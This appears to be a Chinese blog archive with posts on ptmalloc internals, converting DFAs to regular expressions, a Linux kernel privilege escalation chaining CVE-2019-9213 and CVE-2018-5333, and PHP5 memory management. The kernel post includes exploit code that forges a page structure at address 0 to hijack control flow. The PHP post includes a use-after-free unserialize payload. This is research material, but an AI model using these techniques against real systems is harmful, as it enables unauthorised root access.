可以看到按照我的理解写的过程后面是一样,前面不太一样。应该是设计者的想法和我不太一致,我考虑了MINSIZE里面究竟多少可用。而设计者应该单纯的想用padding 固定长度,然后直接考虑对齐。究竟谁的代码要更好呢?

细细向来后者更好,可以复用SIZE_SZ+(req)+ALLOC_ALIGN_MASK,两段代码的判断意图不太一样。我的代码着眼于把MINSIZE这个位置分割出来。而设计者的代码却着眼于用SIZE_SZ+(req)+ALLOC_ALIGN_MASK一致计算会出现分叉的点。这种设计细节值得细细来品:)

fast_index最大为什么只是8?

malloc_state中fastbins是一个大小为10的数组,理论上是可以存储10种不同size的chunk,且看下面片段:

1
2
3
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
无论是32位还是64位最后用MAX_FAST_SIZE计算出来的index都是8,那么似乎fastbins[9]并没有用到?如果按理论上计算:
1
2
3
4
5
6
7
SIZE_SZ*2+1*SIZE_SZ*2
SIZE_SZ*2+2*SIZE_SZ*2
...
SIZE_SZ*2+10*SIZE_SZ*2

SIZE_SZ*2(1+10)
SIZE_SZ*21
而设计者直接指定了80,相比这其中,一定有其原因,可能是性能测试的时候80是一个标记线?超过80就失去了其fastbin cache的效果?但这里我产生了一个有意思的思考:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct malloc_state {
mutex_t mutex;
int flags;
mfastbinptr fastbinsY[10];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[254];
unsigned int binmap[4];
struct malloc_state *next;
struct malloc_state *next_free;
size_t attached_threads;
size_t system_mem;
size_t max_system_mem;
}
看看arena的结构,其中bins[0]bins[1]应该是unsorted_chunk的fd和bk,那么top的位置应该是该chunk的开始,如果考虑一点点设计“哲学”,这个地方也需要2*SIZE_SZ对齐,在32位是对齐的,但是64位并不是,所以我的思考并不是和设计者相契合的,这里我最终还是没有想清楚why,留下个一个问题,看日后能不能想个所以然。

ptmalloc 中metadata的演变

资料:

https://sourceware.org/glibc/wiki/MallocInternals glibc_wiki http://gee.cs.oswego.edu/dl/html/malloc.html ptmalloc具体细节

自动机之DAF转化为正则表达式

自动机:DAF,NAF,正则表达式的关系

DAF 转化为正则表达式

基础理论

正则表达式: 描述一组满足特定规则的字符串 DAF: 有穷的字符串组成的集合我们称之为语言,DAF是用来描述语言的一种方式,它可以转换为等价的正则表达式。

正则表达式和DAF的具体关系:DAF是通过输入来描述状态转移的一种方式。对于整个DAF来说,从初始状态到接受状态或者终极状态对应一条正则表达式。而对于DAF中任意两个状态来说,之间的路径也是对应着一条正则表达式。为什么会这样呢?从DAF的状态转移扩展,从一个状态到另一个状态对应着一串输入字符串,而这串字符串也就是对应着满足特殊规则的正则表达式。这是我们DAF和正则表达式之前转换的基础理论。

正则表达式的基础理论: 1. 如果\(E\)\(F\)都是正则表达式,则\(E+F\)也是正则表达式,表示\(L(E)\)\(L(F)\)的并。也就是说, \[ E+F = L(E)\cup L(F) \] 2. 如果如果\(E\)\(F\)都是正则表达式,则\(EF\)也是正则表达式,表示\(L(E)\)\(L(F)\)的连接。也就是说, \[ EF = L(E)L(F) \] 3. 如果\(E\)是正则表达式,则\(E^*\)也是正则表达式,表示\(L(E)\)的闭包(closure)。也就是说 \[ E^* = cl(L(E)) \] 4. 如果\(E\)是正则表达式,则\((E)\)也是正则表达式,与\(E\)表示相同的语言。形式化地, \[ (E) = E \ \ \ \ \ L((E))=L(E) \] 5. 对于任意的正则表达式R: \[ \emptyset R = R\emptyset=\emptyset \] \[ \emptyset+R=R+\emptyset=R \]

分解问题

如果要把DAF转换为一个正则表达式,我们选择分治策略,先拆分问题: 1. 假设DAF有\(n\)个状态,状态的集合为\(\{1,2,3...n\}\) 2. 任取其中两个状态\(i\)\(j\),先求\(i\)\(j\)不经过其他状态路径对应的正则表达式 3. 求\(i\)\(j\),最高只经过状态\(1\)的路径对应的正则表达式 4. 求\(i\)\(j\),最高只经过状态\(2\)的路径对应的正则表达式 5. 求\(i\)\(j\),最高只经过状态\(3\)的路径对应的正则表达式 6. 以此类推,往下求 7. 求\(i\)\(j\),最高只经过状态\(n\)的路径对应的正则表达式

小疑问:

  • 什么叫最高只经过状态\(k\),\(k\)属于\(\{1,2,3...n\}\)? 这里指的是从状态i到状态j路径中的状态最高不超过k。
  • 状态\(i\),\(j\),\(k\)直接有什么相互的联系吗? 这里并没有必然的联系,\(i\)可以等于\(j\),而且状态\(i\)\(j\)可以大于\(k\),也可以小于\(k\)

状态\(i\)到状态\(j\)的路径:

垂直方向为状态,这里我们取每个顶点为某个具体的状态,线段表示状态的转移,可以看到这里虽然有2次经过了状态\(k\),但是都是两个端点,除两个端点状态之外,并没有经过大于状态\(k\)的,状态转移。这幅图在这里表示为带有属于正则表达式\(R_{ij}^{(k)}\)的语言的标记的路径。

为了构造\(R_{ij}^{(k)}\)表达式,我们把从状态i到状态j最高只经过状态k的路径分成两种情况: 1. 根本不经过状态\(k\) 2. 至少经过一次状态\(k\)

那么对应的\(R_{ij}^{(k)}\)的表达式应该为: \[ R_{ij}^{(k)} = R_{ij}^{(k-1)} + R_{ik}^{(k-1)} (R_{kk}^{(k-1)})^* R_{kj}^{(k-1)} \]

两次情况取并集,\(R_{ij}^{(k-1)}\)好理解就是根本不经过状态\(k\)的情况,而后一种情况我们需要再次分解: 1. 状态\(i\)第一次到状态\(k\)的路径 2. 状态\(k\)到状态\(k\)的任意次路程 3. 最后状态\(k\)到状态\(j\)的路径

最后三者取正则表达式的连接组成了\(R_{ik}^{(k-1)} (R_{kk}^{(k-1)})^* R_{kj}^{(k-1)}\),这里为什么是\(k-1\),因为每种单次路径都没有大于经过k-1,除两端点以为。

结论

最终对于所有的i和j,都能得到\(R_{ij}^{(n)}\),因为上述计算\(R_{ij}^{(k)}\)过程是可以归纳成递归式。这里可以假设,状态\(1\)是初始状态,而接受状态可以是任意一组状态。自动机语言的正则表达式,就是所有表达式\(R_{1j}^{(n)}\)之和(并),使得状态\(j\)为接受状态.

通过消除法将自动机转换为正则表达式

如图,其中\(s\)为一个一般状态。假设\(s\)\(q_1\),\(q_2\),\(q_3\)...\(q_n\)作为s的前驱状态,以\(p_1\),\(p_2\),\(p_3\)...\(p_m\)作为s的后继状态,是可能存在\(q\)\(p\)是相同的情况,但是假设\(s\)不出现在\(q\),\(p\)里面,\(s\)有到自身的环。在每一个从\(q\)\(s\)的箭弧,都可以用正则表达式\(Q_i\)来表示。同样,对每一个从\(s\)\(p\)的箭弧都可以同\(P_i\)来表示。\(s\)自身的环用\(S\)来表示。对应任意的\(q\)\(p\)的箭弧用正则表达式\(R_{ij}\)来表示。注意里面的有些箭弧实际上是不存在的,这个时候就让这些箭弧的表达式为\(\emptyset\)

设想: 如果需要消除状态\(s\),就需要删掉所有关于\(s\)的箭弧,作为补偿,任意\(q_i\)\(s\),然后再从\(s\)\(p_j\),这一过程用正则表达式\(Q_iS^*P_j\)来表示,然后把这个表达式并到\(R_{ij}\)上。

从有穷自动机构造正则表达式的策略如下:

  • 对于每个接受状态\(q\),从\(q_0\)开始,消除所有中间状态,产生一个等价的自动机,所有箭弧用正则表达式来表示。最后只留下接受状态\(q\)\(q_0\),再把所有\(q_0\)到接受状态\(q\)的正则表达式取并。
  • 如果\(q\neq q_0\),最后状态图如下,其路径可以用正则表达式\((R+SU^*T)^*SU^*\),其中\((R+SU^*T)^*\)表示\(q_0\)自身环和经过\(q\)又回到\(q_0\)的环:
  • 如果初始状态和接受状态相同,那就相当于去掉了所有状态,只留下了初始状态,只剩下一个单状态的自动机

最后所有的从初始状态到接受状态的状态图都可以用上面的两幅图来表示。

对比

消除法和第一种分治法是有一定区别,分治法需要考虑所有\(q_0\)\(q_n\)\(k\)值。有可能原来自动机状图并不会进过某个状态\(q_k\),而消除法考虑了这一点,只会考虑其中间状态的前驱和后继状态。相对来说消除法更高效。

CVE-2019-9213 && CVE-2018-5333组合提权

0x00分析:

关于CVE-2019-9213前面一篇文章已经介绍的非常详细了,有了写地址0的机会,现在就需要一个null pointer dereference的洞,并且能够通过这个洞劫持程序流。引入今天的主角-- CVE-2018-5553,这是一个关于rds的洞,来看看是如何触发null pointer dereference的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int rds_cmsg_send(struct rds_sock *rs, struct rds_message *rm,
struct msghdr *msg, int *allocated_mr,
struct rds_iov_vector_arr *vct)
{
struct cmsghdr *cmsg;
int ret = 0, ind = 0;

for_each_cmsghdr(cmsg, msg) {
...
switch (cmsg->cmsg_type) {
...
case RDS_CMSG_ATOMIC_CSWP:
case RDS_CMSG_ATOMIC_FADD:
case RDS_CMSG_MASKED_ATOMIC_CSWP:
case RDS_CMSG_MASKED_ATOMIC_FADD:
ret = rds_cmsg_atomic(rs, rm, cmsg);
break;

rds_cmsg_send是通过系统调用sendmsg来触发,socket类型设置为pf_rds。接着看rds_cmsg_atomic分支。

这个地方需要先稍微了解一下sendmsg这个系统调用。

1
sendmsg(int socket, const struct msghdr *message, int flags);
struct msghdr结构如下:
1
2
3
4
5
6
7
8
9
struct msghdr {
void *msg_name; /* ptr to socket address structure */
int msg_namelen; /* size of socket address structure */
struct iov_iter msg_iter; /* data */
void *msg_control; /* ancillary data */
__kernel_size_t msg_controllen; /* ancillary data buffer length */
unsigned int msg_flags; /* flags on received message */
struct kiocb *msg_iocb; /* ptr to iocb for async requests */
};
其中msg_control字段是可以用来针对特定协议来传递数据的,其长度为msg_controllen。这个msg_control也指向一个标准的结构struct cmsghdr
1
2
3
4
5
struct cmsghdr {
__kernel_size_t cmsg_len; /* data byte count, including hdr */
int cmsg_level; /* originating protocol */
int cmsg_type; /* protocol-specific type */
};
这个结构还有一个隐式的字段unsigned char cmsg_data[]用来保存传递的数据,供特定的协议使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int rds_cmsg_atomic(struct rds_sock *rs, struct rds_message *rm,
struct cmsghdr *cmsg)
{
struct page *page = NULL;
struct rds_atomic_args *args;
int ret = 0;
...
args = CMSG_DATA(cmsg);
...
rm->atomic.op_notify = !!(args->flags & RDS_RDMA_NOTIFY_ME);
rm->atomic.op_silent = !!(args->flags & RDS_RDMA_SILENT);
rm->atomic.op_active = 1;//111111111111111
rm->atomic.op_recverr = rs->rs_recverr;
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);//2222222
if (!rm->atomic.op_sg)
goto err;

/* verify 8 byte-aligned */
if (args->local_addr & 0x7) {
ret = -EFAULT;
goto err;
}

ret = rds_pin_pages(args->local_addr, 1, &page, 1);
if (ret != 1)
goto err;
ret = 0;

sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));

回到rds的处理之中,rds_cmsg_atomiccmsg便来自于上面用户传递的结构。其中args也是指向cmsg中的data部分。

上面的整个过程就是设置atomic类型请求的rds_message结构,有两个点在这里需要注意:

1
2
3
rm->atomic.op_active = 1; //标志已经初始化,可用状态。
...
rm->atomic.op_sg = rds_message_alloc_sgs(rm, 1, &ret);
第二个点是设置scatterlist物理内存的散列表,主要是供DMA使用。关于这一点在分配rds_message这个结构的时候也可以注意到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct rds_message *rds_message_alloc(unsigned int extra_len, gfp_t gfp)
{
struct rds_message *rm;

if (extra_len > KMALLOC_MAX_SIZE - sizeof(struct rds_message))
return NULL;

rm = kzalloc(sizeof(struct rds_message) + extra_len, gfp);
if (!rm)
goto out;

rm->m_used_sgs = 0;
rm->m_total_sgs = extra_len / sizeof(struct scatterlist);
...
out:
return rm;
}
这个extra_len就是scatterlists的大小:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int rds_rm_size(struct msghdr *msg, int num_sgs,
struct rds_iov_vector_arr *vct)
{
...
switch (cmsg->cmsg_type) {
case RDS_CMSG_ATOMIC_CSWP:
case RDS_CMSG_ATOMIC_FADD:
case RDS_CMSG_MASKED_ATOMIC_CSWP:
case RDS_CMSG_MASKED_ATOMIC_FADD:
cmsg_groups |= 1;
size += sizeof(struct scatterlist);
break;
...
size += num_sgs * sizeof(struct scatterlist);
而上面的rds_message_alloc_sgs这一步就是获取rds_message后面的scatterlist,显然这些scatterlists都是初始化状态,并未分配真正的page,回到原先的rds_cmsg_atomic
1
2
3
4
5
6
7
8
9
10
11
if (args->local_addr & 0x7) {
ret = -EFAULT;
goto err;
}

ret = rds_pin_pages(args->local_addr, 1, &page, 1);
if (ret != 1)
goto err;
ret = 0;

sg_set_page(rm->atomic.op_sg, page, 8, offset_in_page(args->local_addr));
args指向是用户内存,首先判断args->local_addr地址对齐,然后使用rds_pin_pages获取用户page,再把scatterlist设置为这个page。上面有两个地方有错误处理:
1
2
3
4
5
err:
if (page)
put_page(page);
kfree(rm->atomic.op_notifier);
return ret;
出错以后释放掉了rm->atomic.op_notifier,整个rds_sendmsg也宣告结束,之后会释放掉rds_message这个结构。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void rds_message_purge(struct rds_message *rm)
{
unsigned long i, flags;
bool zcopy = false;
...
if (rm->rdma.op_active)
rds_rdma_free_op(&rm->rdma);
if (rm->rdma.op_rdma_mr)
rds_mr_put(rm->rdma.op_rdma_mr);

if (rm->atomic.op_active)
rds_atomic_free_op(&rm->atomic);
if (rm->atomic.op_rdma_mr)
rds_mr_put(rm->atomic.op_rdma_mr);
}
如果进入先前两个错误处理任意其中一个,返回的时候,并没有指定 rm->atomic.op_active=0,所以这里会进入rds_atomic_free_op
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);

/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);

kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}
很显然这里出问题了,发生错误之前并没有去设置对应scatterlist的page,再细看是怎么拿到page的:
1
2
3
4
static inline struct page *sg_page(struct scatterlist *sg)
{
return (struct page *)((sg)->page_link & ~(SG_CHAIN | SG_END));
}
这里讲一下scatterlist结构page_link的0bit 和 1bit位置上是标志sg_chain和sg_end的flag,所以这里是4对齐。显然初始化状态下的page_link等于0.所以后面在操作page结构的时候,就产生了null pointer dereference。所以这里修复也很简单,只需要在上面错误返回的时候,设置一下rm->atomic.op_active=0,就可以避免这个问题。

0X02利用

现在两个漏洞都有了,结合起来怎么用呢? 理论上我们这里是可以伪造一个page结构,第一想法,看page结构上是否有函数指针调用的过程。但是还是得顺着开始的流程来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void rds_atomic_free_op(struct rm_atomic_op *ao)
{
struct page *page = sg_page(ao->op_sg);

/* Mark page dirty if it was possibly modified, which
* is the case for a RDMA_READ which copies from remote
* to local memory */
set_page_dirty(page);
put_page(page);

kfree(ao->op_notifier);
ao->op_notifier = NULL;
ao->op_active = 0;
}
set_page_dirty处理过程:
1
2
3
4
5
6
7
8
9
10
11
int set_page_dirty(struct page *page)
{
struct address_space *mapping = page_mapping(page);

page = compound_head(page);
if (likely(mapping)) {
int (*spd)(struct page *) = mapping->a_ops->set_page_dirty;
...
return (*spd)(page);
}
}
运气似乎不错,如果这个mapping是从page上的字段,那么这一切就变的简单了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct address_space *page_mapping(struct page *page)
{
struct address_space *mapping;

page = compound_head(page);

/* This happens if someone calls flush_dcache_page on slab page */
if (unlikely(PageSlab(page)))
return NULL;

if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;

entry.val = page_private(page);
return swap_address_space(entry);
}

mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;

return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
}
第一个注意的点:
1
2
3
4
5
6
7
8
9
page = compound_head(page);
static inline struct page *compound_head(struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);

if (unlikely(head & 1))
return (struct page *) (head - 1);
return page;
}
这里是可以通过page->compound_head改变page的指向,可能有用。 第二点是要避免进入下面逻辑:
1
2
3
4
5
6
if (unlikely(PageSwapCache(page))) {
swp_entry_t entry;

entry.val = page_private(page);
return swap_address_space(entry);
}
这个比较好弄,这是通过比较page->flagsbit位来判断,所以这里只需要把page->flags置零就行。最后经过下面的对齐返回mapping:
1
2
3
4
5
mapping = page->mapping;
if ((unsigned long)mapping & PAGE_MAPPING_ANON)
return NULL;

return (void *)((unsigned long)mapping & ~PAGE_MAPPING_FLAGS);
所以这里有上面三个注意点,再通过mapping拿到mapping->a_ops->set_page_dirty,这里有一个技巧,要充分利用0地址,避免再去重新申请内存。这里a_ops可以设置为0,mapping不能设置为0,这里有一个冲突,需要解决,当page设置成0不变的时候,a_ops也为0的时候:
1
2
page->mapping  == ((char *)page)+0x18
a_pos->set_page_dirty == ((char *)a_pos)+0x18
所以这里最好是通过compound_head(head),改变一下page,把paga指到其他用户空间上,例如栈上:
1
2
3
4
5
6
7
8
char str[1000];
map_null_address();
unsigned long *data = (unsigned long *)0;
memset(str,0,1000);
*((unsigned long *)(str+0x18)) = str;
data[1] = str+1;
data[3] = 0xffffffffdeadbeaf;
trigger_null_pointer_ref();
从oops报错上可以看到最后是走到了预期的位置上。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[ 2515.888056] BUG: unable to handle kernel paging request at ffffffffdeadbeaf
[ 2515.888056] PGD 200e067 P4D 200e067 PUD 2010067 PMD 0
[ 2515.888056] Oops: 0010 [#3] SMP PTI
[ 2515.888056] CPU: 0 PID: 113 Comm: test Tainted: G D 4.20.0+ #1
[ 2515.888056] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 2515.888056] RIP: 0010:0xffffffffdeadbeaf
[ 2515.888056] Code: Bad RIP value.
[ 2515.888056] RSP: 0018:ffffc90000173b98 EFLAGS: 00000286
[ 2515.888056] RAX: ffffffffdeadbeaf RBX: ffff888005a2d928 RCX: 0000000000000000
[ 2515.888056] RDX: ffffffff8129b340 RSI: 0000000000000246 RDI: 00007ffce69d17f0
[ 2515.888056] RBP: 0000000000000000 R08: 0000000000000001 R09: 00000007ffca66b2
[ 2515.888056] R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
[ 2515.888056] R13: 0000000000000246 R14: ffff888005a2d8e8 R15: 0000000000000000
[ 2515.888056] FS: 00000000019b3880(0000) GS:ffff888007200000(0000) knlGS:0000000000000000
再根据当前各寄存器的状态xchg切栈到用户内存上,实现提权的ROP,当然你也可以写CR4去绕SMEP这都是常规思路 )

0X03思考

最开始我拉的是patch CVE-2018-5333之前最后一次commit,但是编译起来错误很多,尽管最后我手动patch了很多处,终于编译成功了。但是qemu还是运行不起来,果断放弃了,还是选择了patch CVE-2019-9213之前最后一次commit,然后手动删掉了关于CVE-2018-5333的patch,还有这里编译之前记得开RDS的配置。

相对来说这里是比较简单劫持流,这是我没有预想到的。有了CVE-2019-9213很多其他的漏洞就变成了可能,下一次我想分析一个复杂一点伪造相关结构劫持程序流的洞,最后还是觉得是比较有趣的一次经历!

拥抱php之是谁动了我的内存?

小叙

在之前文章中最后的结尾,我贴了一段代码,不知道有没有师傅遇上了那种情况,因为这其中影响它出现的因素有很多,略微的变化有可能输出的结果就截然不同,为了更好的解释这其中的为什么,我重新从php5的编译器看起,因为之前我一直看的是php7,而php5和php7有很多不一样,比如底层zval结构的变化,php7语法分析过程中生成间接的语法树,执行器handler调度的多种方式,为了让写出来的东西更加的严谨和细致,我看了很多关于本文之外php5其他方面的东西,这是本文迟迟没有写的原因。

回到本文主题,确实这里算是一块php内核中比较庞大的一块内容,从文章的题目也可以猜测到后面的一切内容都关系到了内存,废话不多说进入正题。

简要分析

我把之前遗留问题的代码贴上来:

1
2
3
4
5
6
7
8
$a="phpinfo();"; 
$b=$a;
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$a;
var_dump($outer_array);
这里逻辑上是完全没有问题的,$filler2 = &$a;这一步的分裂过程应该是可以拿到$outer_array指向已经被释放的zval结构大小的内存。但是奇怪的是输出$outer_array还是NULL。

为了更好的让师傅了解整个过程,讲一下之前没有提到的,为什么还存在$filler1 = "aaaa"这个赋值过程,在语法分析过程中,通常存在着一个叫三地址中间代码,什么叫三地址呢?比如:x = y op z ,其中op是一个二目运算符, y 和 z是运算分量的地址,也是我们经常说的曹操作数,而x是运算结果存放的地址。这种三地址指令最多只执行一个运算,操作对象也是最基础的地址,叫三地址其实并非会完全用到x y z三个地址,但是至少有一个。

比如$outer_array = unserialize($serialized_string);这一步我们尝试用三地址代码思想来分解一下:

1
2
3
send_var $serialized_string   //第一步函数传参: op=send_var,y=$serialized_string
$tmp = do_fcall 'unserialize' //第二步函数调用: op=do_fcall,x=$tmp,y='unserialize'
$outer_array assign $tmp //第三步赋值:op=assign,y=$outer_array,z=$tmp

我们再来来看一下gc_collect_cycles();这一步如果用三地址代码来分解的话:

1
do_fcall 'gc_collect_cycles'
这里看起来应该算个单目运算符,因为在php里面有一个执行栈,配合send_var opcode来完成参数调用的。但是在php的函数调用里面,无论是否会用到他们的返回值,这个时候都会先初始化一个$tmp,用来保存函数返回值,如果该返回值并没有用到的话,再进行释放,$tmp保存结构同样是zval,所以这里会释放掉一个zval大小的内存。
1
$tmp = do_fcall 'gc_collect_cycles'
这里释放掉$tmp以后zval内存块就刚好'盖'在原先gc释放以外释放掉的\(out_array上面。这里用了一个比较形象的'盖'字,所以这里我们需要先把`\)tmp`拿走,再申请zval的时候就可以拿到$out_array指向的zval。

出现这种奇怪的现象,第一感觉可能在复制分裂申请zval之前,$out_array这个目标zval已经被拿走了,那么是被'谁'拿走了呢?

具体分析

在我拿gdb调之前,我做了一些细微操作,\(out_array却正常输出了,比如新增一条语句:`\)randman="unit"或者把上面的var_dump换成echo`,都能正常输出,是不是感觉非常的不可思议,并且难以理解。

我们进一步缩小问题,当我把简单把var_dump换成了echo, 这是最后一步肯定对面执行过程没有干扰的,但是还是影响了输出,如果说执行过程没有影响,那么最后的不同地方就发生在php代码的编译阶段!

现在我们需要确保一下$out_array释放伴随着gc正常释放了,这时候就需要用gdb来动态调了,第一次断在gc_collect_cycles其中的:

1
2
3
4
5
6
7
/* Free zvals */
p = GC_G(free_list);
while (p != FREE_LIST_END) {
q = p->u.next;
FREE_ZVAL_EX(&p->z);
p = q;
}
首先我们确保释放顺序:
1
2
3
4
5
6
7
8
GC buffer content:
[0x7ffff7c828b0] (refcount=2) array(1): {
1 => [0x7ffff7c82aa8] (refcount=1) object(ArrayObject) #1 //ArrayObject
} //outer_array
[0x7ffff7c818e0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7c818e0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7c828b0] (refcount=2) array(1):
}//inner_array
这里的释放顺序应该是inner_array ,ArrayObject,outer_array. 关于这里的过程可以去看gc遍历结点的过程,也可以参考我之前的文章,在这里不累述。

确保了释放的过程,再来看之后的分配过程,这里可以在_emalloc下个断,预想其过程,$filler1= 'aaaa'拿走了gc_collect_cycles释放的$tmp, 在这过程gdb 一直continue即可,第二个zval的申请确实发生在了引用复制分裂的过程中,但是申请到的内存却是之前ArrayObject对应的zval,这过程中也没有其他操作申请了zval,可out_array对应的zval去哪了呢?

之前dumpgc里面还有outer_array的地址,查看其内容,这里有一个tip,因为我这里使用的php-5.6.20开了debug,开了debug之后,默认把内存保护也开了,内存保护会把释放掉的内存块清零,所以这里我肯定它还在内存池里面。

为什么它还躺在内存池里面呢?引入今天的主角php的内存管理。

php内存管理

玩PWN的师傅都会非常熟悉glibc里面ptmalloc内存模型,同样php里面也有自己的一套内存管理与ptmalloc有些不一样,它和google的tcmalloc是想对应的。这里我画了一张图,我会用图来描述整个过程,拒绝贴代码!

enter image description here 可以看到管理整个内存是一个zend_mm_heap结构,初始化内存可以通过malloc或者mmap来完成,其申请的粒度zend_mm_heap->block来决定的,也就是每次向系统申请的内存大小是zend_mm_heap->block的整数倍

每次向系统申请的内存,都会通过一个zend_mm_segment结构来管理,向系统的申请内存我们称之为segment段,想系统申请的segments,zend_mm_heap->segments_list这个字段组成了一个链表。可以看到segment起始位置保存着zend_mm_segment的结构,而后的位置被分成了一个又一个的block块,看绿箭头的位置,这里blocks来自于4种不同的结构上。我们就这四个结构来分别描述一下:

1.cache:

cache是第一层的缓存结构,可以看到长度是ZEND_MM_NUM_BUCKETS,上面还有一串宏用来计算不同大小的内存块对应的cache里面的index。 cache里面内存块可用的大小为8 * index,最小是可以为0,而最大是8*(ZEND_MM_NUM_BUCKETS-1),这里为什么有一个0呢,因为这里并不是真实可用内存为0。

一个block块某一时刻只有一种状态要么是unused ,要么是used,php里面用两种header结构来分别管理这两种内存,一个是zend_mm_block对应着used状态下的block,另一个是zend_mm_free_block对应着unused状态下的block,used的状态下header只需要记录这block的位置和大小,可能还有debug信息,而unused状态下的header需要额外记录他可能存在于其他4种block管理结构中的位置,开了内存保护以后还会在zend_mm_block后面设置一个魔数,所以这里为了保证两种状态下header大小都够用,我们取两者的最大值:

1
2
3
4
#define ZEND_MM_ALIGNED_HEADER_SIZE			ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_block))
#define ZEND_MM_ALIGNED_FREE_HEADER_SIZE ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_small_free_block))
#define ZEND_MM_MIN_ALLOC_BLOCK_SIZE ZEND_MM_ALIGNED_SIZE(ZEND_MM_ALIGNED_HEADER_SIZE + END_MAGIC_SIZE)
#define ZEND_MM_ALIGNED_MIN_HEADER_SIZE (ZEND_MM_MIN_ALLOC_BLOCK_SIZE>ZEND_MM_ALIGNED_FREE_HEADER_SIZE?ZEND_MM_MIN_ALLOC_BLOCK_SIZE:ZEND_MM_ALIGNED_FREE_HEADER_SIZE)
这里就会出现一种情况当ZEND_MM_ALIGNED_FREE_HEADER_SIZE更大一些话,当申请的内存大小介于 ZEND_MM_ALIGNED_MIN_HEADER_SIZE-(ZEND_MM_ALIGNED_HEADER_SIZE+END_MAGIC_SIZE)):0之间的话,那么只需要分配一个header即可,所以就出现了cache里面index为0的可能,当然了其真实可用的内存也不是为0。

总结cache是一个提供快速缓存的不同大小,但是block的大小较小一张单链表,遵循LIFO结构,即后进去先出来。

2.free_buckets:

你可以从图中看到,它的长度是ZEND_MM_NUM_BUCKETS*2,这个结构和ptmalloc里面的bins是一样的,因为在使用zend_mm_free_block只会使用到prev 和 next两个字段,所以这里的free_buckets[index] 和 free_buckets[index+1]分别对应着prev和next,看图我圈了一个zend_mm_free_block结构出来,在初始化的时候prev和next都会指向这个zend_mm_free_block,他储存的size大小对应这cache里面size。相同size组成一张双链表,同样遵循LIFO结构。 其中也使用了bitmap来避免遍历空洞。

3.large_buckets:

这个结构是一个比较有意思的结构,是键树和双链表的结合。看图,index对应着block二进制置1的最高位,这并不是完整的键树,并不是说为其二进制的每一个位都建立结点,而是每一个键树的结点都是一个block,插入的时候只是在已经存在的结点下往下衍生建立新结点。

相同size之间用一条双链表建立起来,可以看图中就形成了相当于二叉树和双链表联合的结构,我还画了一下insert的过程,可以对应着看一下。同样这里也有一个bitmap来避免空洞,其中还有查找和删除过程也值得一看,查找的过程还是遵循最小内存原则,而删除过程会把内存大的结点往root上靠。具体的代码注释,我已经上传到github,有兴趣的师傅们可以去看看。在这里我不想贴代码!

4.rest_buckets:

看名字这里存储着内存块分割留下的剩余的size,这里避免这些剩余的无意义的内存块重新插入free_buckets带来的性能问题。可以看到rest_buckets长度为2,一般情况下遍历查找rest_buckets的时候,只会用到rest_buckets[0],但是当rest_buckets满了以后会通过rest_buckets[1]从最前面把内存块重新释放到free_buckets中,同样着两个长度的zend_mm_block* 也对应着prev和next,和前面的free_buckets一样。

问题所在

现在的你应该对整个php的内存管理也有一个基本的认识。接着我们再来看问题,如果说连续内存申请,都没有拿到$out_array指向的zval内存block,这里不应该用zval,因为在php5里面我在前面说过,申请的应该是zval_gc_info结构,所以这里只有一个原因: $out_array指向的内存块,没有在ZEND_MM_TRUE_SIZE(sizeof(zval_gc_info))内存块大小对应在cache里面的位置的单链表里面。

发生这个问题只有一个原因,那就是在第一次申请$out_array的时候,拿到的内存块的大小要大于ZEND_MM_TRUE_SIZE(sizeof(zval_gc_info)),所以在释放的时候,没有放到预期的cache[index]里面。

为什么会申请到大于ZEND_MM_TRUE_SIZE(sizeof(zval_gc_info))的内存块,这个问题其实也很好理解,如果第一次在申请内存的时候,cache里面没有找到的话,那么接着会去free_buckets里面找,而且比较巧的是free_buckets里面也没有正好符合其大小的blocks,根据bitmap往后找,所以这里有一个内存分割过程,分割出来我们需要的size,然后剩下size,又比较巧,它是小于一块block_header大小的内存,那么这时候会干脆把着剩余的一块都给申请的对象。

所以拿到的block要比预期的要稍微大一点,有的师傅可能会像难道不是$out_array释放的时候产生了合并的情况,其实也是有可能的,当cache满了以后,确实会在把这块内存插入free_buckets之前尝试合并。但是这里情况是前面一种,因为这里的代码量是比较少的,对应的内存开销是比较小的。

